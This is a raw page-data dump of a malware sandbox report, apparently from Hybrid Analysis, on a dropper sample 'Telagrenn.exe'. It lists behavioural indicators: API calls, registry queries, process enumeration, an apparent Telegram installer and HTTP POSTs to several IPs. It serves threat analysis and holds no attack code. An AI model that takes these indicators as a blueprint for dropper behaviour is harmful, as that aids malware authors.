24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 77:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Dropper.Trojan.Generic Sample f61305f2ea34… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f61305f2ea34…. Malware family: Dropper.Trojan.Generic. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","keywords":["Malicious","Dropper.Trojan.Generic","malware analysis","sandbox report","threat intelligence","f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93"],"about":{"@type":"SoftwareApplication","name":"Telagrenn.exe","applicationCategory":["peexe","executable"],"identifier":"f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Dropper.Trojan.Generic","antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":4,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T520,"Telagrenn.exe" called "FindResourceA" with parameter "85194076" - (UID: 00000000-00002804) "cscript.exe" called "FindResourceA" with parameter "65" - (UID: 00000000-00006908) "cscript.exe" called "FindResourceA" with parameter "257" - (UID: 00000000-00006908) "tsetup-x64.7.0.2.exe" called "FindResourceW" with parameter "11111" - (UID: 00000000-00007176) "tsetup-x64.7.0.2.tmp" called "FindResourceW" with parameter "79696284" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindResourceW" with parameter "79662388" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindResourceW" with parameter "79785924" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindResourceW" with parameter "79785868" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindResourceW" with parameter "79698636" - (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindResourceW" with parameter "79672708" - (UID: 00000000-00007736) "D5rra.exe" called "FindResourceW" with parameter "12121" - (UID: 00000000-00006424) "D5rra.tmp" called "FindResourceW" with parameter "86191916" - (UID: 00000000-00002688) "D5rra.tmp" called "FindResourceW" with parameter "85988124" - (UID: 00000000-00002688) "D5rra.tmp" called "FindResourceW" with parameter "85965284" - (UID: 00000000-00002688)26:T4f2,"Telagrenn.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4268288'}" (UID: 00000000-00002804) "cscript.exe" called "LoadResource with parameter {'hModule': '1936392192', 'hResInfo': '100337840'}" (UID: 00000000-00006908) "cscript.exe" called "LoadResource with parameter {'hModule': '1936392192', 'hResInfo': '100337888'}" (UID: 00000000-00006908) "tsetup-x64.7.0.2.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '16561280'}" (UID: 00000000-00007176) "tsetup-x64.7.0.2.tmp" called "LoadResource with parameter {'hModule': '9895936', 'hResInfo': '13229456'}" (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadResource with parameter {'hModule': '9895936', 'hResInfo': '13229344'}" (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "LoadResource with parameter {'hModule': '9895936', 'hResInfo': '13229504'}" (UID: 00000000-00007736) "D5rra.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1451280'}" (UID: 00000000-00006424) "D5rra.tmp" called "LoadResource with parameter {'hModule': '12648448', 'hResInfo': '16031104'}" (UID: 00000000-00002688) "D5rra.tmp" called "LoadResource with parameter {'hModule': '12648448', 'hResInfo': '16031264'}" (UID: 00000000-00002688)27:T5a6,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "Telagrenn.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "Telagrenn.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "Telagrenn.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "Telagrenn.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "Telagrenn.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Telagrenn.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "Telagrenn.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "Telagrenn.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "Telagrenn.exe") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "Telagrenn.exe") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "Telagrenn.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "Telagrenn.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "00000000-00006424.00000001.112162.00091000.00000020.mdmp")28:Td5a,Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00001040.00000000.110716.73424000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00001040.00000000.110716.73424000.00000004.mdmp") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00001040.00000000.110716.73424000.00000004.mdmp") Found reference to "HMAC-DRBG" (Indicator: "HMAC"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found reference to "AES-128-CBC-HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found reference to "AES-128-CBC-HMAC-SHA256" (Indicator: "HMAC"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found reference to "AES-256-CBC-HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found reference to "AES-256-CBC-HMAC-SHA256" (Indicator: "HMAC"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp") Found reference to "SHA512-256" (Indicator: "SHA512"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found reference to "HMAC-DRBG" (Indicator: "HMAC"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found reference to "AES-128-CBC-HMAC-SHA256" (Indicator: "HMAC"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found reference to "AES-256-CBC-HMAC-SHA256" (Indicator: "HMAC"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found reference to "AES-128-CBC-HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found reference to "AES-256-CBC-HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp") Found reference to "SHA512-224" (Indicator: "SHA512"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp")29:T66c,"cscript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "cscript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "cscript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\SETTINGS\LANGUAGECONFIGURATION") "cscript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "cscript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "cscript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "cscript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED") "cscript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS") "cscript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "cscript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CSCRIPT.EXE") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CSCRIPT.EXE") "cscript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING") "cscript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\OLEAUT")2a:T79c,Contains base64 encoded string "xijjbMNuZKcjIEfKaBdvMg==" in [Source : PCAP] Contains base64 encoded string "xEEVXz1Dv+hfNs0qNaa0zQ==" in [Source : PCAP] Contains base64 encoded string "YBm/a0Kef9S1LLsCTrSV0Q==" in [Source : PCAP] Contains base64 encoded string "e9y+HtBbs9V8q6X3S3Txcg==" in [Source : PCAP] Contains base64 encoded string "BQ27cqQYHImpo+96yeSLMQ==" in [Source : PCAP] Contains base64 encoded string "HG/hWhuP7zmGr/mh5jeF3w==" in [Source : PCAP] Contains base64 encoded string "uM/KFp81MvuyNGC4E0LV1g==" in [Source : PCAP] Contains base64 encoded string "t4rIMf9ly8l42FwRoLIL0Q==" in [Source : PCAP] Contains base64 encoded string "KHhGHmTE5kT1Jt9gOMNT9g==" in [Source : PCAP] Contains base64 encoded string "AU+meRZu6vVctPIChiAGaw==" in [Source : PCAP] Contains base64 encoded string "+jaW8zqGaM7Z0lJFKY+j3g==" in [Source : PCAP] Contains base64 encoded string "2B528RGh63pDC7Xn/m2CZw==" in [Source : PCAP] Contains base64 encoded string "LkyMlDEJvgGIrQ7NSLTgIA==" in [Source : PCAP] Contains base64 encoded string "mG+sdR5lE/wFspACzFimMQ==" in [Source : PCAP] Contains base64 encoded string "r49PFyqupQ72ecdkXgAPDw==" in [Source : PCAP] Contains base64 encoded string "U4+pE6w188E52iIlgOtVGw==" in [Source : PCAP] Contains base64 encoded string "qiP2x1jwwDQDDuYqYAbVOA==" in [Source : PCAP] Contains base64 encoded string "I30VtZbQ+/gF4Z2szIMRpQ==" in [Source : PCAP] Contains base64 encoded string "D/qBTCuMuQI4mkJjGIrHXw==" in [Source : PCAP] Contains base64 encoded string "avc+gDjzs64jUD8uhGFtqA==" in [Source : PCAP] Contains base64 encoded string "wY4QZpGFlj48GbH5Ba8l2g==" in [Source : PCAP] Contains base64 encoded string "PL1QZVOQ+lKdUFrr+LlKaA==" in [Source : PCAP] Contains base64 encoded string "IZHsVr9seiMVrTXnNoKCkQ==" in [Source : PCAP] Contains base64 encoded string "k9zuw5YDoor9NvTPQkMzDQ==" in [Source : PCAP] Contains base64 encoded string "nwlELpm+/2xY1HHRLQ/vTw==" in [Source : PCAP]2b:T9f9,"Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-649889888 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-649898923 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650079900 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650088755 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650254530 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650263978 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650443464 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650452503 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650836869 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-650845674 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-651950863 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-651960845 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-652146124 [PID: 2804] "Telagrenn.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-652155072 [PID: 2804] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-652544275 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-652554917 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-652735171 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-652744679 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-653151200 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-653160268 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-653335702 [PID: 6908] "cscript.exe" queried SystemProcessInformation at 00000000-00006908-00000C15-653344916 [PID: 6908] "tsetup-x64.7.0.2.exe" queried SystemProcessInformation at 00000000-00007176-00000C15-660188816 [PID: 7176] "tsetup-x64.7.0.2.exe" queried SystemProcessInformation at 00000000-00007176-00000C15-660197289 [PID: 7176] "tsetup-x64.7.0.2.exe" queried SystemProcessInformation at 00000000-00007176-00000C15-660353859 [PID: 7176]2c:T10e4,"tsetup-x64.7.0.2.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\is-7JH8E.tmp" to "%APPDATA%\Telegram Desktop\unins000.exe" "tsetup-x64.7.0.2.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\is-E85C2.tmp" to "%APPDATA%\Telegram Desktop\Telegram.exe" "tsetup-x64.7.0.2.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\is-2BAEF.tmp" to "%APPDATA%\Telegram Desktop\Updater.exe" "tsetup-x64.7.0.2.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\modules\x64\d3d\is-PVEBQ.tmp" to "%APPDATA%\Telegram Desktop\modules\x64\d3d\d3dcompiler_47.dll" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\log_start0.txt" to "%APPDATA%\Telegram Desktop\log.txt" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\key_datas.CqXHZE" to "%APPDATA%\Telegram Desktop\tdata\key_datas" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.LDmFnY" to "%APPDATA%\Telegram Desktop\tdata\settingss" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.gAASVn" to "%APPDATA%\Telegram Desktop\tdata\settingss" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.LGfBXv" to "%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.QXQUvZ" to "%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.iPLQwK" to "%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.xFkkHD" to "%APPDATA%\Telegram Desktop\tdata\settingss" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.BMozcq" to "%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.yCWNEu" to "%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.SiAlyu" to "%APPDATA%\Telegram Desktop\tdata\settingss" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K666QM6SNJ8N1WNS9SO3.temp" to "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.vLJYVS" to "%APPDATA%\Telegram Desktop\tdata\settingss" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8Cs.CrOVPL" to "%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8C\configs.ZYSxHR" to "%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8C\configs" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8Cs.nXhIpS" to "%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8C\configs.ICmQdw" to "%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8C\configs" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8Cs.jtqDwl" to "%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8Cs.DUURkx" to "%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8Cs" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.jKJwdR" to "%APPDATA%\Telegram Desktop\tdata\settingss" "Telegram.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\0B6BAAA132866617s.QoUsKy" to "%APPDATA%\Telegram Desktop\tdata\0B6BAAA132866617s"2d:Tfde7,Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 292Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 95.161.76.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "User" in header "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 112Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "form" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "84Connection" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Encoding" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "gzip" in header "POST /api HTTP/1.1Host: 149.154.175.100:80Content-Type: application/x-www-form-urlencodedContent-Length: 84Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0" Contains base64 string in header "Language" 